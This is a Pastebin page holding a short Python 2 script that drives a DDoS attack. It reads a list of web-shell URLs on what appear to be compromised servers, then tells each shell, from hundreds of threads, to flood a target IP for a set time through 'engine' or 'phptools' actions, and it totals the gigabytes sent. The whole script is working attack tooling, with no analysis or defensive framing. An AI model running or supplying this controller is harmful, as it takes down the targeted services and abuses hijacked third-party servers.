Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib, thread, time
- shells = raw_input("File for list of shells: ")
- ip = raw_input("IP: ")
- seconds = raw_input("Time: ")
- threads = 0
- file1 = open(shells)
- hosts = file1.read()
- hosts = hosts.split()
- file1.close()
- mbs = float(0.00)
- count = 0
- def fire(host):
- global ip
- global seconds
- global threads
- global mbs
- threads += 1
- try:
- reply = urllib.urlopen(host).read()
- if 'engine' in reply:
- reply = urllib.urlopen(host+"?act=engine&host="+ip+"&time="+seconds).read()
- else:
- reply = urllib.urlopen(host+"?act=phptools&host="+ip+"&time="+seconds).read()
- except IOError:
- pass
- else:
- try:
- process = reply.split('(')
- temp1 = process[1].split(')')
- temp2 = temp1[0].split(' ')
- mb = temp2[0]
- except IOError:
- pass
- except ValueError:
- pass
- else:
- try:
- mbs = (mbs + float(mb))
- except ValueError:
- pass
- threads -= 1
- for host in hosts:
- while threads >= 600:
- time.sleep(0.2)
- thread.start_new_thread(fire,(host,))
- while count < (int(seconds)+20) :
- print threads, 'still running'
- print mbs, 'sent'
- time.sleep(1)
- count += 1
- time.sleep(5)
- gb = mbs / 1000
- print gb, 'GB sent'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement